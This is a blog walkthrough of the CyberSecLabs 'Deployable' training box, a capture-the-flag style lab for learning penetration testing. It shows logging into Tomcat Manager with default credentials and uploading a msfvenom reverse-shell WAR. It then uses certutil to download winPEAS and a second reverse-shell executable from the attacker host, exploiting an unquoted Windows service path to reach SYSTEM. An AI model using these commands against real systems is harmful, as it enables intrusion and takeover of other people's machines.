CyberSecLabs – “Deployable” Walkthrough

CyberSecLabs

Deployable from CyberSecLabs is a beginner level box where we’ll explore a default Apache Tomcat installation for initial access. Then use winPEAS to enumerate the box and find the privilege escalation path by exploiting a vulnerable Windows service.

Let’s get started.

Deployable’s IP address is 172.31.1.13.

Scanning and Enumeration

As per usual we start with the following Nmap scan to explore the open ports and services. I’m using -sC to run default scripts, -sV to enumerate service versions, and -p- to scan all TCP ports (1-65535).

nmap -sC -sV -p- 172.31.1.13

Let’s review. We have Microsoft SMB, RDP, and then several uncommon ports running HTTP services. I don’t care about the 49152-49164 ports, on most beginner boxes they aren’t that interesting or useful. The next thing I want to do is run Nitko Web Vulnerability Scanner on the ports hosting HTTP.

You should run the scanner on all HTTP ports to be thorough. In an effort to keep things concise, I’ll only show you the Nikto results from port 8080.

nikto -h 172.31.1.13:8080

Buried in the Nikto output I see a web page /manager/html and its for Tomcat Manager Application. It also tells us (pass protected) so we will need a password to login to the Manager app. Let’s go to our browser and check out the Apache Tomcat installation.

172.31.1.13:8080 – Apache Tomcat front page.

So here’s the front end of the Apache Tomcat site. There’s several links and things to explore here if you aren’t familiar, but the vital part is the Manager App. If you click on the manager app, you’ll be prompted for a password. I don’t know the password, so I’ll try something like tomcat/admin. As you’ll see below that didn’t work and we get a 401 unauthorized page.

172.31.1.13:8080/manager/html – Login Error

This is where it pays to read all error messages even if they might not seem important at first glance. One of the default passwords for Tomcat is given here. Tomcat for the username and s3cret as the password. Now you could look up a wordlist of Tomcat passwords and in that list you’d find this combination. Another approach would be to use Burpsuite to launch a password attack on the login form. That’s a good exercise but not required for this beginner box.

Login to the Manager App with the credentials. You’ll be taken to the Tomcat Web Application Manager page. Here we see all the Tomcat applications listed.

Inside the Tomcat Web Application Manager

Exploitation

Inside the Tomcat Manager if you scroll past the list of applications we have the Deploy section. We have two options to upload a WAR (Web application resource) file. One from a file located on the server, which we don’t have access to yet, and another to select local file to upload.

WAR file upload

If you aren’t aware of haven’t dealt with WAR files, MSFvenom from Metasploit has the ability to create WAR file payloads. You can look up a MSFvenom cheat sheet like this one at HackTricks, and find the correct payload parameters.

The important part is the java/jsp_shell_reverse payload parameter and then specifying the file type as a WAR file. For good measure I added the execute permission with chmod.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.0.22 LPORT=4321 -f war > shell.war

With the payload generated go back to the Tomcat Manager and upload your WAR file. You’ll see the shell added to the list of applications at the bottom.

/shell uploaded as a deployable WAR file.

Setup a Netcat listener on the same port you specified in your MSFvenom payload and click on the /shell application link in the Tomcat application manger to execute the WAR file reverse shell.

nc -lvnp 4321
whoami

Excellent. We have a shell and we are the tomat user. That’s a great start but we’ll need to escalate our privileges if we want to own this box.

Privilege Escalation

For this box we will be using winPEAS for enumeration and getting a lay of the land. You could check all of these manually of course but winPEAS is a fast and thorough option you should definitely check out. To get started we need to transfer the winPEAS executable to the target machine.

I’ll use the http.server module for python3 on port 80 to host the file on my attacker machine.

python3 -m http.server 80

My favorite windows transfer tool and one of the easiest for beginners is Certutil. This is a built-in utility that’s present on most Windows operating systems.

certutil -urlcache -split -f http://10.10.0.22/winPEAS.exe winPEAS.exe

Transfer the winPEAS.exe file to the target and run winPEAS. Increase the number of lines in your terminal if you have trouble scrolling through the output, or you can echo the output of winPEAS into a text file for easier reading.

winPEAS generates a lot of output because its very comprehensive in terms of privilege escalation techniques and enumerating the operating system. Scroll down until you find the Services information.

winPEAS output – Services Information

Here we see red text indicating an interesting finding, or something worth exploring as a potential route for privilege escalation. We have a service named Deploy and it has no quotes around the folder path. This is called a unquoted service path.

Let’s look at the service itself and confirm this winPEAS finding by using the built-in windows service utility.

sc qc deploy

As you can see in the Binary_Path_Name field we confirm the unquoted service path is present for the Deploy service.

To exploit this vulnerability we need to insert our own malicious executable into the Deploy Ready folder. Typically as a low privileged user you won’t be able to write to the Program Files folder.

To create the executable we will once again use msfvenom to generate the payload. This time it will be suited for a Windows operating system and with the file type of a windows executable. Call it Service.exe.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.0.22 LPORT=1234 -f exe > Service.exe

We have our reverse shell payload created and are ready to transfer the file to the target. First we’ll change directory into the C:\Program Files\Deploy Ready\ folder. For the transfer we will use certutil again. I confirm the file is in place with a quick dir command.

cd “C:\Program Files\Deploy Ready”
certutil -urlcache -split -f http://10.10.0.22/Service.exe Service.exe
dir

With the Service.exe payload transferred and our Netcat listener running, we are now ready to start the Deploy service. I’ll do that with the “sc start Deploy” command.

nc -lvnp 1234
whoami

There we go! As the service starts it executes our reverse shell payload and connects back to our Netcat listener. We have escalated our access to the NT authority/system account. OWNED! Now we are ready to…

Capture the Flags!

type C:\Users\tomcat\Desktop\access.txt
type C:\Users\Administrator\Desktop\system.txt

That’s Deployable from CyberSecLabs. I personally enjoyed this beginner box. Like the others at CyberSecLabs the initial exploit and privilege escalation techniques are widely used and cover the basics. Enumerating HTTP ports, gaining access to Tomcat Manager, uploading a reverse shell. Transferring files to the target, exploiting a vulnerable service. All solid techniques even if they feel easy to you. That’s good! Take notes you’ll be using them again for sure.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s